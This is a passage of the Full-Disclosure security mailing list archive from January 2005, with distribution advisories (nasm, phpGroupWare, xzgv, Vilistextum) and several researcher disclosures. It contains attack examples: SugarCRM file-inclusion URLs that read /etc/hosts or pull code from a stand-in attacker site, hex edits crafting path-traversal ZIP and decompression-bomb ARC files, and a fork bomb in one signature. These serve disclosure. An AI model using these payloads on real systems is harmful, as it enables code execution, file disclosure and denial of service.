 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aVjmqjQ0CJFipgRAv8fAKCFOW3mkry8Hr/tgnCcqUMmQ8CmFwCg2fbU
FxpoV4DQ+aN1yHi/KZ4jkkE=
=QaxY
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Thu Jan  6 20:59:02 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Thu, 06 Jan 2005 13:59:02 -0700
Subject: [Full-Disclosure] MDKSA-2005:004 - Updated nasm packages fix buffer
	overflow vulnerability
Message-ID: <E1Cmeik-0008Dy-3X@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           nasm
 Advisory ID:            MDKSA-2005:004
 Date:                   January 6th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 A buffer overflow in nasm was discovered by Jonathan Rockway.  This
 vulnerability could lead to the execution of arbitrary code when
 compiling a malicious assembler source file.
 
 The updated packages are patched to correct the problem.
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 bfeacd381e7fbf8b99e96a2430311ed4  10.0/RPMS/nasm-0.98.38-1.1.100mdk.i586.rpm
 114bfd2649248582ad463a187a826e33  10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.i586.rpm
 ed611f8bbd6cfa91b9d7944c9b815902  10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.i586.rpm
 f431fa5e5f6a59718efcfb41edab3be3  10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 dc9af90c5b786c155544f48046e9dfe4  amd64/10.0/RPMS/nasm-0.98.38-1.1.100mdk.amd64.rpm
 f0c59ffd65fd1285e577af0b8ce9baa1  amd64/10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.amd64.rpm
 d044b7e60404106957e51e3c2841feed  amd64/10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.amd64.rpm
 f431fa5e5f6a59718efcfb41edab3be3  amd64/10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 47bc2f9600153b30d7e63321360b8d76  10.1/RPMS/nasm-0.98.38-1.1.101mdk.i586.rpm
 1995e7f847f816be99b917867cf9a139  10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.i586.rpm
 1a2242ced53b91dfe2179a26527dca33  10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.i586.rpm
 92183c2e2e68b8a12e3a0d6aa692763f  10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ed510372fa24800e7b0faf78e84d8a0b  x86_64/10.1/RPMS/nasm-0.98.38-1.1.101mdk.x86_64.rpm
 c3fdef84d0c9b383ae78aa929d110f78  x86_64/10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.x86_64.rpm
 3a83b689ba75be2ed28b3edea7270ea9  x86_64/10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.x86_64.rpm
 92183c2e2e68b8a12e3a0d6aa692763f  x86_64/10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aaVmqjQ0CJFipgRAoEdAJ9PpM5rdVbA0mM2vXFTNfEawpfeywCfdGB1
OcI8lB5IV6fOmLMbbSkIeDA=
=tch/
-----END PGP SIGNATURE-----


From lewk at gentoo.org  Thu Jan  6 21:12:11 2005
From: lewk at gentoo.org (Luke Macken)
Date: Thu, 6 Jan 2005 16:12:11 -0500
Subject: [Full-Disclosure] [ GLSA 200501-08 ] phpGroupWare: Various
	vulnerabilities
Message-ID: <20050106211211.GA30481@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: phpGroupWare: Various vulnerabilities
      Date: January 06, 2005
      Bugs: #74487
        ID: 200501-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities have been discovered in phpGroupWare that
could lead to information disclosure or remote compromise.

Background
==========

phpGroupWare is a web-based suite of group applications including a
calendar, todo-list, addressbook, email, wiki, news headlines, and a
file manager.

Affected packages
=================

    -------------------------------------------------------------------
     Package                /   Vulnerable   /              Unaffected
    -------------------------------------------------------------------
  1  www-apps/phpgroupware     < 0.9.16.004              >= 0.9.16.004

Description
===========

Several flaws were discovered in phpGroupWare making it vulnerable to
cross-site scripting attacks, SQL injection, and full path disclosure.

Impact
======

These vulnerabilities could allow an attacker to perform cross-site
scripting attacks, execute SQL queries, and disclose the full path of
the web directory.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All phpGroupWare users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-apps/phpgroupware-0.9.16.004"

References
==========

  [ 1 ] BugTraq Advisory
        http://www.securityfocus.com/archive/1/384492

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/673c851c/attachment.bin 

From koon at gentoo.org  Thu Jan  6 21:34:09 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Thu, 06 Jan 2005 22:34:09 +0100
Subject: [Full-Disclosure] [ GLSA 200501-09 ] xzgv: Multiple overflows
Message-ID: <41DDAED1.9090603@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: xzgv: Multiple overflows
      Date: January 06, 2005
      Bugs: #74069
        ID: 200501-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

xzgv contains multiple overflows that may lead to the execution of
arbitrary code.

Background
==========

xzgv is a picture viewer for X, with a thumbnail-based file selector.

Affected packages
=================

    -------------------------------------------------------------------
     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------
  1  media-gfx/xzgv       <= 0.8                             >= 0.8-r1

Description
===========

Multiple overflows have been found in the image processing code of
xzgv, including an integer overflow in the PRF parsing code
(CAN-2004-0994).

Impact
======

An attacker could entice a user to open or browse a specially-crafted
image file, potentially resulting in the execution of arbitrary code
with the rights of the user running xzgv.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All xzgv users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-gfx/xzgv-0.8-r1"

References
==========

  [ 1 ] CAN-2004-0994
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0994
  [ 2 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=160&type=vulnerabilities&flashstatus=true

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/cf2d5b26/attachment.bin 

From koon at gentoo.org  Thu Jan  6 21:37:05 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Thu, 06 Jan 2005 22:37:05 +0100
Subject: [Full-Disclosure] [ GLSA 200501-10 ] Vilistextum: Buffer overflow
	vulnerability
Message-ID: <41DDAF81.8020200@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Vilistextum: Buffer overflow vulnerability
      Date: January 06, 2005
      Bugs: #74694
        ID: 200501-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Vilistextum is vulnerable to a buffer overflow that allows an attacker
to execute arbitrary code through the use of a malicious webpage.

Background
==========

Vilistextum is an HTML to text converter.

Affected packages
=================

    -------------------------------------------------------------------
     Package               /  Vulnerable  /                 Unaffected
    -------------------------------------------------------------------
  1  app-text/vilistextum       < 2.6.7                       >= 2.6.7

Description
===========

Ariel Berkman discovered that Vilistextum unsafely reads data into an
array without checking the length. This code vulnerability may lead to
a buffer overflow.

Impact
======

A remote attacker could craft a malicious webpage which, when
converted, would result in the execution of arbitrary code with the
rights of the user running Vilistextum.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Vilistextum users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/vilistextum-2.6.7"

References
==========

  [ 1 ] Original Advisory
        http://tigger.uic.edu/~jlongs2/holes/vilistextum.txt
  [ 2 ] CAN-2004-1299
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1299

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/17191f73/attachment.bin 

From lcamtuf at ghettot.org  Fri Jan  7 00:21:29 2005
From: lcamtuf at ghettot.org (Michal Zalewski)
Date: Fri, 7 Jan 2005 01:21:29 +0100 (CET)
Subject: [Full-Disclosure] Heap overflow in Mozilla Browser <= 1.7.3 NNTP
	code.
In-Reply-To: <Pine.LNX.4.44.0412292222140.19156-200000@isec.pl>
References: <Pine.LNX.4.44.0412292222140.19156-200000@isec.pl>
Message-ID: <20050107010157.O37734@dekadens.coredump.cx>

On Wed, 29 Dec 2004, Maurycy Prodeus wrote:

> On my RedHat 9.0 with Mozilla 1.7.3 attached proof of concept code
> overflows the buffer using attacker-supplied data. I decided to make
> this bug public because Mozilla Team hasn't warned users.

As much as I respect what Mozilla folks are doing for the community, I
find their security response to be, ahem, lacking. Given their increasing
userbase, this is a bad omen.

They seldom reply, and very often adequately follow up, on reports sent to
security at mozilla.org; and when they actually learn about a problem, they
do not seem to reach out to those of their users who do not happen to
browse Bugzilla daily.

Judging from reports such as this, they also routinely downplay serious
threats, perhaps to discourage people from claiming a prize they once
established for spotting a remote security bug in the browser. Uh-oh.

Oh, last but not least, my personal complaint: they are taking some three
months to fix publicly disclosed mangleme vulnerabilities in their
browsers - no single vendor advisory was released, despite of 20+ problems
being reported, some of which apparently remotely exploitable. In that
regard, they managed to beat Microsoft, who took "only" several weeks to
fix mangleme IFRAME (Bofra) vulnerability.

Their stagnant mangleme vulnerability / bug queue:

  https://bugzilla.mozilla.org/showdependencytree.cgi?id=264944

Not that Mozilla is any worse than other open source browser developers in
that regard. IIRC, we did not see advisories or vendor fixes for mangleme
flaws in Konqueror / Safari, [e]links, lynx, elvis, w3m and other
browsers... the difference is, Mozilla/Firefox is becoming a mainstream
tool.

-- 
------------------------- bash$ :(){ :|:&};: --
 Michal Zalewski * [http://lcamtuf.coredump.cx]
    Did you know that clones never use mirrors?
--------------------------- 2005-01-07 01:01 --

   http://lcamtuf.coredump.cx/photo/current/


From blindot at gmail.com  Thu Jan  6 21:46:41 2005
From: blindot at gmail.com (Santiago Cortes)
Date: Thu, 6 Jan 2005 16:46:41 -0500
Subject: [Full-Disclosure] Arbitrary file inclusion in SugarCRM [PHP]
Message-ID: <a4e8b96b05010613466f252b9c@mail.gmail.com>

------------------------------------------------------------
Arbitrary File Inclusion in SugarCRM
------------------------------------------------------------
Author: Santiago Cort?s
Date: Jan 06, 2005
------------------------------------------------------------


Vulnerability:

Failure to sanitize user input in index.php opens the possibility for
an attacker to include an arbitrary file when PHP's "register_globals"
is on.

Example:

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=/etc/hosts

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=http://www.attackersite.com/malicious.php


Fix:
Disable register_globals in your php.ini file, or

Replace line 198 in index.php:
$currentModuleFile = $moduleDefaultFile[$currentModule];

With
if ( !isset($moduleDefaultFile[$currentModule] ) {
   die('No action specified');
}
$currentModuleFile = $moduleDefaultFile[$currentModule];


Disclaimer:

The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result
of using the information or demonstrations provided in any part of
this advisory.



Contact:
Santiago Cort?s
blindot --at-- gmail



From y_avenger_y at ua.fm  Tue Jan  4 12:18:49 2005
From: y_avenger_y at ua.fm (Alex V. Lukyanenko)
Date: Tue, 04 Jan 2005 14:18:49 +0200
Subject: [Full-Disclosure] [SHORT ESSAY] Yahoo security "policy", booters,
 12-hour account DoS and other stuff
Message-ID: <web-181970762@ua.fm>


Quoting n3td3v,
> Because we all know Yahoo! has no account security, so kids aged 15
> can hack an account. Yahoo! is like hacking for beginners. Its easy to
> do, and therefore a great network to learn skills.. bravo Yahoo!, you
> have a use after all.
Hm, hm. Yahoo's rudimentary security 'features' such as account
lockout policy (12 hours after several failed login attempts) is most
often used as a DoS against that account owner.
Plus numerous "booters" exploiting holes (read: buffer overflows) in
ypager.exe, and you have a perfect way to kick someone out from chat
and not let him/her/it return.
They (at Yahoo) try to make it harder to write your own chat
client/bot/messanger by slightly changing their CRAM (and still, it
was reversed, nevermind that it nowadays consist of several MD5-like
routines and is heavily obfuscated against casual reverse-engineers
:P)

Couldn't hold myself, this is FD after all :)

-- 
Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm
----
http://cards.alkar.net/


From theinsider at 012.net.il  Thu Jan  6 22:26:46 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Fri, 07 Jan 2005 00:26:46 +0200
Subject: [Full-Disclosure] WinAc AND WinHKI ZIP File Directory Transversal
Message-ID: <002301c4f43e$cec6c7e0$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinAce, WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            ZIP File Directory Transversal
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal ZIP compressed file header

00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 ..</..........sp
00000020 352E 6578 65EC 5A7F 5454 577E 7F33 0C30 5.exe.Z.TTW~.3.0
00000030 C0C0 1B94 8926 6A32 2AAE D9FC 206E 2628 .....&j2*... n&(
00000040 2018 1186 4044 7D3A E40D 4940 4304 7CCC  ... at D}:..I at C.|.

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.
I just overwrited the original long file name to /../../sp5.exe

00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 1000 0000 7662 ..</..........vb
00000020 2F2E 2E2F 2E2E 2F73 7035 2E65 7865 EC5A /../../sp5.exe.Z
00000030 7F54 5457 7E7F 330C 30C0 C01B 9489 266A .TTW~.3.0.....&j
00000040 322A AED9 FC20 6E26 2820 1811 8640 447D 2*... n&( ... at D}

All we need to do is zip compress (using winzip, winrar, winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.web1000.com/WINACE-WINHKI ZIP TRANSVERSAL.zip

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From maurizio_trinco at yahoo.com  Fri Jan  7 00:40:36 2005
From: maurizio_trinco at yahoo.com (Maurizio Trinco)
Date: Thu, 6 Jan 2005 16:40:36 -0800 (PST)
Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 1, Issue 2144
Message-ID: <20050107004036.13867.qmail@web53204.mail.yahoo.com>

<steve.dangerfield at syntegra.com> wrote:

> Please unsubscribe me from this list

We have received your request to be unsubscribed from
this list.

This is what you need to do.  Please read these
instructions carefully before beginning.

Tools needed: one hammer, one screwdriver, one pair of
pliers, one heavy-duty pair of wire cutters, one
bucket of saline water, a box of sani-wipes.

Step #1: Stop payment on any checks that you may have
sent to your Internet Service Provider (GOD).

Step #2: If GOD is unresponsive and you are still
receiving mail from this list, you will need to find
the "mailhost".  This is a machine usually located in
a locked office.  Every day around noon, the mailman
will
deliver a box of diskettes with that day's mail 
messages, including yours from this list, to this
machine.  Typically, only a handful of people have
keys to the "mailhost".  The reason why this machine
is locked up is because this is typically the best,
fastest, most powerful computer at your facility and
the people with keys don't want to share it.  If you
must, break or pry the door down with one (1) hammer
(you did get all the tools needed?).

Step #3: Find the ON/OFF switch for this machine. 
Using the pliers, set the switch to the OFF position
by tugging downwards until the disposable plastic
switch breaks away from the computer casing. Discard
the
disposable plastic switch in an environmental-friendly
manner.  This will alert the mailman to not deliver
the diskettes with the messages to the "mailhost" not
unlike the little red flag found on mailboxes.  This
should resolve your mail problem immediately.

Step #4: You may experience a recurrence of mail
within 72 hours. If this should happen, you will need
to disable the "mailhost" once again with more
forceful measures.  Repeat Step #2.  Don't be suprised
if there is a sturdier door in place than the one you
destroyed previously. This is due to the fact that the
"Have Key" clique found out that someone has
seen their private stash of computer equipment.

Step #5: After you have once again regained entry into
the "mailhost" room, open up the back of the
"mailhost".  There may be a large tv-like device on
top of the "mailhost"  You will need to remove this
first.  Take your wire cutters, and cut any cables
binding the
tv-like device to the "mailhost".  Set the tv-like
device to the side. With your screwdriver, remove each
and every screw that you can find on the "mailhost". 
Once this is done, the "mailhost" should break away
into two or more pieces.

Step #5: Find a large box with a fan attached to it. 
It will be clearly marked with the following labels:
"Danger" "High Voltage" "Do not open - no
user-servicable parts".  Don't worry, these labels are
merely in place to satisfy OSHA requirements and you
are not in any danger at all.  Take the bucket of
saline water and pour it into any vents or ports that
the large box may have.  Any extra water should be
poured directly into the computer chassis, be sure to
properly soak each and every component.

Step #6: In the event of fire (OSHA has been known to
be right on occassion), douse any flames with the
sani-wipes.

This solution is provided without warranty.  It is not
bio-degradable or fat-free.  In the event of sudden
death, contact a physician



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - now with 250MB free storage. Learn more.
http://info.mail.yahoo.com/mail_250


From theinsider at 012.net.il  Thu Jan  6 23:17:03 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Fri, 07 Jan 2005 01:17:03 +0200
Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB
Message-ID: <001001c4f445$d4fe1a80$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    WinHKI
Vendors:        http://www.webtoolmaster.com
Versions:       1.4d
Platforms:      Windows
Bug:            ARC File Extraction of 1KB to 1.56GB
Exploitation:   Local (extract file)
Date:           24 Dec 2004
Author:         Rafel Ivgi, The-Insider
E-Mail:         the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: ARC, BH, CAB, HKI, JAR, LHA,TAR,

GZ compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal CAB compressed file header

00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B ..251.HTM.^^^^^.
00000010 0000 0078 3139 73B5 121B 0000 003C 7363 ...x19s......<sc
00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73 ript.>alert()</s
00000030 6372 6970 743E 0D0A 1A00                cript>....

By adding after the filename header a certain amount of chars
and replacing all nulls (00) with FF (in order to avoid our
long string from being terminated)

00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF ..251.HTM.^^^^^.
00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................
00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B ................
00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363 ...x19s......<sc
00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73 ript.>alert()</s
00000430 6372 6970 743E 0D0A 1A00                cript>....


HKI will create a 1.56 GIGA BYTE file on at the selected extract location.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
